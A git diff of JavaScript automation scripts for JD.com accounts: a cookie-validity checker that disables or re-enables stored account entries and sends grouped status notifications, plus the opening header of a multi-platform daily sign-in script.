+ErrorMessage = '', +SuccessMessage = '', +DisableMessage = '', +EnableMessage = '', +OErrorMessage = ''; + +let allMessageGp2 = '', +ErrorMessageGp2 = '', +SuccessMessageGp2 = '', +DisableMessageGp2 = '', +EnableMessageGp2 = '', +OErrorMessageGp2 = ''; + +let allMessageGp3 = '', +ErrorMessageGp3 = '', +SuccessMessageGp3 = '', +DisableMessageGp3 = '', +EnableMessageGp3 = '', +OErrorMessageGp3 = ''; + +let allMessageGp4 = '', +ErrorMessageGp4 = '', +SuccessMessageGp4 = '', +DisableMessageGp4 = '', +EnableMessageGp4 = '', +OErrorMessageGp4 = ''; + +let strAllNotify = ""; +let strNotifyOneTemp = ""; +let WP_APP_TOKEN_ONE = ""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} + +let ReturnMessageTitle = ''; + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + console.log(`检测到设定了分组推送2`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + console.log(`检测到设定了分组推送3`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + console.log(`检测到设定了分组推送4`); +} + +if ($.isNode() && process.env.CHECKCK_SHOWSUCCESSCK) { + ShowSuccess = process.env.CHECKCK_SHOWSUCCESSCK; +} +if ($.isNode() && process.env.CHECKCK_CKALWAYSNOTIFY) { + CKAlwaysNotify = process.env.CHECKCK_CKALWAYSNOTIFY; +} +if ($.isNode() && process.env.CHECKCK_CKAUTOENABLE) { + CKAutoEnable = process.env.CHECKCK_CKAUTOENABLE; +} +if ($.isNode() && process.env.CHECKCK_CKNOWARNERROR) { + NoWarnError = process.env.CHECKCK_CKNOWARNERROR; +} + +if ($.isNode() && process.env.CHECKCK_ALLNOTIFY) { + + strAllNotify = process.env.CHECKCK_ALLNOTIFY; +/* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + } */ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); +} + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid=0; + if(envs[i]._id){ + tempid=envs[i]._id; + } + if(envs[i].id){ + tempid=envs[i].id; + } + cookie = await getEnvById(tempid); + $.UserName = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.UserName2 = decodeURIComponent($.UserName); + $.index = i + 1; + $.isLogin = true; + $.error = ''; + $.NoReturn = ''; + $.nickName = ""; + TempErrorMessage = ''; + TempSuccessMessage = ''; + TempDisableMessage = ''; + TempEnableMessage = ''; + TempOErrorMessage = ''; + + console.log(`开始检测【京东账号${$.index}】${$.UserName2} ....\n`); + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.UserName); + } + if (MessageUserGp2) { + + userIndex2 = MessageUserGp2.findIndex((item) => item === $.UserName); + } + if (MessageUserGp3) { + + userIndex3 = MessageUserGp3.findIndex((item) => item === $.UserName); + } + + if (userIndex2 != -1) { + console.log(`账号属于分组2`); + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.UserName2}`; + } + if (userIndex3 != -1) { + console.log(`账号属于分组3`); + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.UserName2}`; + } + if (userIndex4 != -1) { + console.log(`账号属于分组4`); + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.UserName2}`; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + console.log(`账号没有分组`); + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.UserName2}`; + } + + await TotalBean(); + if ($.NoReturn) { + console.log(`接口1检测失败,尝试使用接口2....\n`); + await isLoginByX1a0He(); + } else { + if ($.isLogin) { + if (!$.nickName) { + console.log(`获取的别名为空,尝试使用接口2验证....\n`); + await isLoginByX1a0He(); + } else { + console.log(`成功获取到别名: ${$.nickName},Pass!\n`); + } + } + } + + if ($.error) { + console.log(`有错误,跳出....`); + TempOErrorMessage = $.error; + + } else { + const strnowstatus = await getstatus(tempid); + if (strnowstatus == 99) { + strnowstatus = envs[i].status; + } + if (!$.isLogin) { + + if (strnowstatus == 0) { + const DisableCkBody = await DisableCk(tempid); + if (DisableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用成功!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用成功!\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用失败!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用失败!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用失败!\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,已禁用!\n`); + TempErrorMessage = ReturnMessageTitle + ` 已失效,已禁用.\n`; + } + } else { + if (strnowstatus == 1) { + + if (CKAutoEnable == "true") { + const EnableCkBody = await EnableCk(tempid); + if (EnableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n祝您挂机愉快...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + TempSuccessMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n请联系管理员处理...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用失败!)\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,可手动启用!\n`); + TempEnableMessage = ReturnMessageTitle + ` 已恢复,可手动启用.\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 状态正常!\n`); + TempSuccessMessage = ReturnMessageTitle + `\n`; + } + } + } + + if (userIndex2 != -1) { + ErrorMessageGp2 += TempErrorMessage; + SuccessMessageGp2 += TempSuccessMessage; + DisableMessageGp2 += TempDisableMessage; + EnableMessageGp2 += TempEnableMessage; + OErrorMessageGp2 += TempOErrorMessage; + } + if (userIndex3 != -1) { + ErrorMessageGp3 += TempErrorMessage; + SuccessMessageGp3 += TempSuccessMessage; + DisableMessageGp3 += TempDisableMessage; + EnableMessageGp3 += TempEnableMessage; + OErrorMessageGp3 += TempOErrorMessage; + } + if (userIndex4 != -1) { + ErrorMessageGp4 += TempErrorMessage; + SuccessMessageGp4 += TempSuccessMessage; + DisableMessageGp4 += TempDisableMessage; + EnableMessageGp4 += TempEnableMessage; + OErrorMessageGp4 += TempOErrorMessage; + } + + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + ErrorMessage += TempErrorMessage; + SuccessMessage += TempSuccessMessage; + DisableMessage += TempDisableMessage; + EnableMessage += TempEnableMessage; + OErrorMessage += TempOErrorMessage; + } + + } + console.log(`等待2秒....... \n`); + await $.wait(2 * 1000) + } + + if ($.isNode()) { + if (MessageUserGp2) { + if (OErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp2 + `\n\n`; + } + if (DisableMessageGp2) { + allMessageGp2 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp2 + `\n\n`; + } + if (EnableMessageGp2) { + if (CKAutoEnable == "true") { + allMessageGp2 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } + } + + if (ErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp2 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp2 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp2 = ""; + } + + if ($.isNode() && (EnableMessageGp2 || DisableMessageGp2 || OErrorMessageGp2 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#2:"); + console.log(allMessageGp2); + + if (strAllNotify) + allMessageGp2 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#2", `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp3) { + if (OErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp3 + `\n\n`; + } + if (DisableMessageGp3) { + allMessageGp3 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp3 + `\n\n`; + } + if (EnableMessageGp3) { + if (CKAutoEnable == "true") { + allMessageGp3 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } + } + + if (ErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp3 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp3 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp3 = ""; + } + + if ($.isNode() && (EnableMessageGp3 || DisableMessageGp3 || OErrorMessageGp3 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#3:"); + console.log(allMessageGp3); + if (strAllNotify) + allMessageGp3 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#3", `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp4) { + if (OErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp4 + `\n\n`; + } + if (DisableMessageGp4) { + allMessageGp4 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp4 + `\n\n`; + } + if (EnableMessageGp4) { + if (CKAutoEnable == "true") { + allMessageGp4 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } + } + + if (ErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp4 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp4 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp4 = ""; + } + + if ($.isNode() && (EnableMessageGp4 || DisableMessageGp4 || OErrorMessageGp4 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#4:"); + console.log(allMessageGp4); + if (strAllNotify) + allMessageGp4 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#4", `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + + if (OErrorMessage) { + allMessage += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessage + `\n\n`; + } + if (DisableMessage) { + allMessage += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessage + `\n\n`; + } + if (EnableMessage) { + if (CKAutoEnable == "true") { + allMessage += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } + } + + if (ErrorMessage) { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessage += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessage + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessage = ""; + } + + if ($.isNode() && (EnableMessage || DisableMessage || OErrorMessage || CKAlwaysNotify == "true")) { + console.log("京东CK检测:"); + console.log(allMessage); + if (strAllNotify) + allMessage += `\n` + strAllNotify; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + $.nickName = decodeURIComponent($.UserName); + $.NoReturn = `${$.nickName} :` + `${JSON.stringify(err)}\n`; + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + $.nickName = decodeURIComponent($.UserName); + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = (data.data.userInfo.baseInfo.nickname); + } else { + $.nickName = decodeURIComponent($.UserName); + console.log("Debug Code:" + data['retcode']); + $.NoReturn = `${$.nickName} :` + `服务器返回未知状态,不做变动\n`; + } + } else { + $.nickName = decodeURIComponent($.UserName); + $.log('京东服务器返回空数据'); + $.NoReturn = `${$.nickName} :` + `服务器返回空数据,不做变动\n`; + } + } + } catch (e) { + $.nickName = decodeURIComponent($.UserName); + $.logErr(e) + $.NoReturn = `${$.nickName} : 检测出错,不做变动\n`; + } + finally { + resolve(); + } + }) + }) +} +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_DailyBonus_Mod.js b/jd_DailyBonus_Mod.js new file mode 100644 index 0000000..7a3be1f --- /dev/null +++ b/jd_DailyBonus_Mod.js @@ -0,0 +1,1965 @@ +/* + 14 0,9 * * * jd_CheckCK.js, tag:京东多合一签到脚本修改版 + */ + +/************************* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +************************* +【 QX, Surge, Loon 说明 】 : +************************* + +初次使用时, app配置文件添加脚本配置, 并启用Mitm后: + +Safari浏览器打开登录 https://home.m.jd.com/myJd/newhome.action 点击"我的"页面 +或者使用旧版网址 https://bean.m.jd.com/bean/signIndex.action 点击签到并且出现签到日历 +如果通知获取Cookie成功, 则可以使用此签到脚本. 注: 请勿在京东APP内获取!!! + +获取京东金融签到Body说明: 正确添加脚本配置后, 进入"京东金融"APP, 在"首页"点击"签到"并签到一次, 待通知提示成功即可. + +由于cookie的有效性(经测试网页Cookie有效周期最长31天),如果脚本后续弹出cookie无效的通知,则需要重复上述步骤。 +签到脚本将在每天的凌晨0:05执行, 您可以修改执行时间。 因部分接口京豆限量领取, 建议调整为凌晨签到。 + +BoxJs或QX Gallery订阅地址: https://raw.githubusercontent.com/NobyDa/Script/master/NobyDa_BoxJs.json + +************************* +【 配置多京东账号签到说明 】 : +************************* + +正确配置QX、Surge、Loon后, 并使用此脚本获取"账号1"Cookie成功后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"获取即可; 账号3或以上同理. +注: 如需清除所有Cookie, 您可开启脚本内"DeleteCookie"选项 (第114行) + +************************* +【 JSbox, Node.js 说明 】 : +************************* + +开启抓包app后, Safari浏览器登录 https://home.m.jd.com/myJd/newhome.action 点击个人中心页面后, 返回抓包app搜索关键字 info/GetJDUserInfoUnion 复制请求头Cookie字段填入json串数据内即可 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 